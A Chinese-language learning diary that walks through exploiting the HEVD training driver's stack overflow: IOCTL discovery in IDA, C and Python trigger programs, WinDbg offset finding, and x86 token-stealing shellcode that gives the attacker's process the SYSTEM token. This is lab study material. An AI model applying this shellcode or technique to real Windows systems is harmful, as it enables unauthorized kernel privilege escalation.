驱动分析
HEVD.sys可以使用自己编译的也可以使用Hacksys编译好的
找到返回地址劫持返回地址
首先使用IDA打开HEVD.sys
打开IoCreateDevice
call 函数后面的@28代表是7个参数
我们可以得到设备名,和链接名
然后我们需要找到IRP派遣函数Device_IO_Control,控制码在common.h中定义
在枚举设备名称之后,我们还需要识别 HEVD.sys 中的所有 IO 控制代码。由设备驱动程序定义的每个 IO 控制代码都执行一组独特的操作。识别这些 IO 控制代码的一个好方法是通过IofCompleteRequestIDA Pro 中的导入函数。
IofCompleteRequest驱动程序使用它来指示 IRP 请求已完成(随后返回状态)。为了使对驱动程序的 IRP 请求成功,需要将有效的 IO 代码传递给驱动程序…IofCompleteRequest为识别驱动程序接受的 IO 代码提供了一个可行的选项。
同样在Imports窗口, IofCompleteRequest
共有28个派遣函数,,
然后在最后会返回状态,和返回的字节数,以及调用IOcompleteRequest结束IRP的处理流程(函数参数为Pirp,IO_NO_INCREMENT(默认为0))
看到IrpDeviceIoCtlHandler ,这些标签,应该就是switch不同的控制码进行分发
//控制码
uIoCode = pStack->Parameters.DeviceIoControl.IoControlCode;
然后按下空格键就可以转为图形
堆栈溢出的 IO 代码是0x222003
也可以查看源码,根据源码计算
源码:
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
//
// IOCTL Definitions
//
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
CTL_CODE的定义
#define CTL_CODE(DeviceType, Function, Method, Access) (
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method)
)
hex((0x00000022 << 16) | (0x00000000 << 14) | (0x800 << 2) | 0x00000003) = 0x222003
bug分析
看源码,是由于使用用户自己输入的size进行初始化内存,没有对size进行判断,所以造成了溢出
跳入TriggetBufferOverflowStack函数
ProbeForRead (UserBuffer, sizeof (KernelBuffer), (ULONG) __alignof (KernelBuffer));验证缓冲区是否处于用户模式
目前我们可以知道的是:
-
HEVD 用于客户端打开驱动程序句柄的符号链接是"\Device\HackSysExtremeVulnerableDriver"
-
向堆栈溢出漏洞发出 IRP 请求的 IO 代码是0x222003
-
用户提供的缓冲区大小需要大于 0x800h(或十进制 2048)才能触发错误。
漏洞利用
可以看到创建文件大概有这么多参数,分别是
CreateFile,CreateFileA,CreateFileW其实是一样的只不过由于编码不一样,会由编译器来处理,
使用CreateFile,在linkName字符串赋值前要加L
HANDLE CreateFileA(
[in] LPCSTR lpFileName,
[in] DWORD dwDesiredAccess,
[in] DWORD dwShareMode,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
[in] DWORD dwCreationDisposition,
[in] DWORD dwFlagsAndAttributes,
[in, optional] HANDLE hTemplateFile
);
lpFileName:表示创建或打开文件或设备的名称
dwDesiredAccess:对文件或设备的请求访问权限,可以为读取、写入、两者或 0 表示两者都不是。
dwShareMode:请求的文件或设备的共享模式,可以是读取、写入、两者、删除
lpSecurityAttributes:此参数可以为 NULL。如果此参数为 NULL,则 CreateFile 返回的句柄不能由应用程序可能创建的任何子进程继承
dwCreationDisposition:要对存在或不存在的文件或设备执行的操作。对于文件以外的设备,此参数通常设置为OPEN_EXISTING。
dwFlagsAndAttributes:文件或设备属性和标志FILE_ATTRIBUTE_NORMAL是文件最常见的默认值。
hTemplateFile:具有GENERIC_READ访问权限的模板文件的有效句柄。模板文件为正在创建的文件提供文件属性和扩展属性。此参数可以为 NULL。
接下来就是
DeviceIoControl(hdevice, CTL_PRINT,InputBuffer,sizeof(InputBuffer),outputBuffer,sizeof(outputBuffer),&dwRet,NULL);
//参数:句柄,控制码(要和0环的一样),用于发送到0环的缓冲区,大小,用于接收回来的buffer,sizeof,实际上到底回来多少buffer,同步异步
C语言漏洞利用代码
#include<stdio.h>
#include<Windows.h>
#define LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
#define IO_CODE 0x222003
int main() {
printf("[+] calling createFile() to obtain a handle to the driver..\n");
HANDLE hDevice = CreateFile(LINK_NAME, 0xC0000000, 0, NULL, 0x3,0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - Unable to obtain a handle to the driver..\n");
exit(1);
}
printf("[+] Successfully obtained a handle to the driver. .\n");
// Declane 'bytesRetn' variable for'DeviceIocontrol -> lpBytesReturned' parameter
DWORD bytesRetn;
// set 'expl' variable to match the buffer size specified in analysis (0x800 or 2048 decimal) plus 0x100
char exp1[0x800];
// Fill 'expl' variable with "A"S
memset(exp1, 'A', sizeof(exp1));
printf("[+]starting interaction with the driver..n");
DeviceIoControl(hDevice, IO_CODE, exp1, sizeof(exp1), NULL, 0, &bytesRetn, NULL);
CloseHandle(hDevice);
return 0;
}
变异运行
python代码
import struct ,sys
from ctypes import *
from subprocess import *
LINK_NAME = "\\\\.\\HackSysExtremeVulnerableDriver"
IO_CODE = 0x222003
kernel32 = windll.kernel32
def main():
print("[+] calling createFileA() to obtain a handle to the driver..\n");
hDevice = kernel32.CreateFileA(LINK_NAME, 0xC0000000, 0, None, 0x3,0, None);
if not hDevice or hDevice == -1:
print("[-] Error - Unable to obtain a handle to the driver..\n");
sys.exit(1);
print("[+] Successfully obtained a handle to the driver. .\n");
bytesRetn = c_ulong();
exp1 = "a"*2048
print("[+]starting interaction with the driver..n");
kernel32.DeviceIoControl(hDevice, IO_CODE, exp1, len(exp1), None, 0, byref(bytesRetn), None);
kernel32.CloseHandle(hDevice);
if __name__ == "__main__":
main()
接下来启动测试环境,对触发溢出函数下断点
发现符号环境没了,重新在加载一次
!sym noisy
.reload;ed Kd_DEFAULT_Mask 8;
bp HEVD!TriggerBufferOverflowStack
我以为第一次没有设上断点。。
运行编译过后的程序,windbg断下,这个时候如果继续让他执行,不会报错,因为前面代码我们给的大小刚好等于0x800
继续执行
然后我们修改大小
EIP 被覆盖0x41414141刚好是AAAA
然后就是找到偏移量,覆盖那个EIP,
前面800个肯定是没事的,我们只需要覆盖最后0x100个就行或者0x900
可以看到偏移为2080
确定该位置是否对
在偏移处写上BBBB发现是对的
控制返回地址,ret2shellcode
确定偏移之后就可以控制执行流程了,接下来就是怎么提权?、在这里采取的是使用token替换的方法。
首先分为四步
- 获取指向 KTHREAD 和 EPROCESS 的指针
- 爬取 ActiveProcessLinks 双向链表,直到找到 SYSTEM 的
- PID 保存SYSTEM token并将目标进程(攻击者的进程)中的token替换为SYSTEM token
- 恢复执行/保持完整性
(其实用windbg直接替换,只需要拿到system token然后拿到待运行程序的token之后,替换就可以成为system权限了,可直接搜索,都有博客介绍)
执行过程:exe/执行文件->API->kernel32.dll/其他dll.API->kernelba.dll.API->ntdll.dll->ntdll.KiFastSystemCall->sysenter(指令)[进入0环]
首先要获取这些指针
像IDT,GDT,IRP派遣都在这KPCR,这个结构体就是CPU的一个状态。
寄存器大部分保存在KTRAP_FRAME
然后我们看一下KTHREAD
+0x040 ApcState 指向 KAPC_STATE 数据结构的成员的偏移量。
KAPC_STATE 数据结构用于线程调查与其关联的进程。因此该结构包含我们需要的一些重要信息。
与 KTHREAD 结构类似,KPROCESS 结构是 EPROCESS 结构的更大数据结构的一部分
X64下的token偏移为0x208
X86下的token偏移为0xf8
x64:
x86:我们主要看标红的那三项
第一项:system PID 4
第二项:EPROCESS.ActiveProcessLinks是一个双向链表(指向前一个和后一个节点的指针),其中包含本地系统上的所有其他活动进程。
第三项:TOKEN EPROCESS 结构中的 Token 成员包含分配给进程的访问令牌。这是我们想要复制到我们选择的进程的特权数据
然后我们就找到了一些偏移
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
KTHREAD_OFFSET = (PrcbData)0x120 +0x4(CurrentThread)
EPROCESS_OFFSET = 0x040 (ApcState:_KAPC_STATE)+0x010 (Process: Ptr32 _KPROCESS)
编写shellcode,替换token
使用Hacksys提供的payload.c
共有七个方法实现
同前面分析的文件类似,fs:120h就指向PrcbData
[PrcbData+4]->CurrentThread _KTHREAD
[CurrentThread +0x040 + 0x10]–> _KAPC_STATE.ApcState->Process
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, [fs:eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
上述代码的意思就是:保存寄存器状态,找到当前进程并保存,然后找到SYSTEM进程pid,提取SYSTEM进程令牌,用SYSTEM进程令牌替换当前进程的令牌,并恢复寄存器。
原代码的第五行改为[fs:…]不然报错操作码和操作数的组合无效
然后就是将汇编代码,转为机器码,然后复制为C语言
使用VirtualAlloc(),我们将能够创建一个新的可执行内存区域来放置令牌窃取 shellcode。在创建由 VirtualAlloc() 创建的可执行内存区域之后,我们将复制令牌窃取 shellcode 到该可执行内存区域RtlMoveMemory()
然后执行生成的文件
OK了!!!
参考文章:https://jb05s.github.io/HEVD-Driver-Exploitation-Part-2-Stack-Overflow-Presented-in-Python-and-C/ 主要是参考第一篇
https://rootkits.xyz/blog/2017/08/kernel-stack-overflow/
明日计划:Windows内核驱动继续学习,HEVD第三部分练习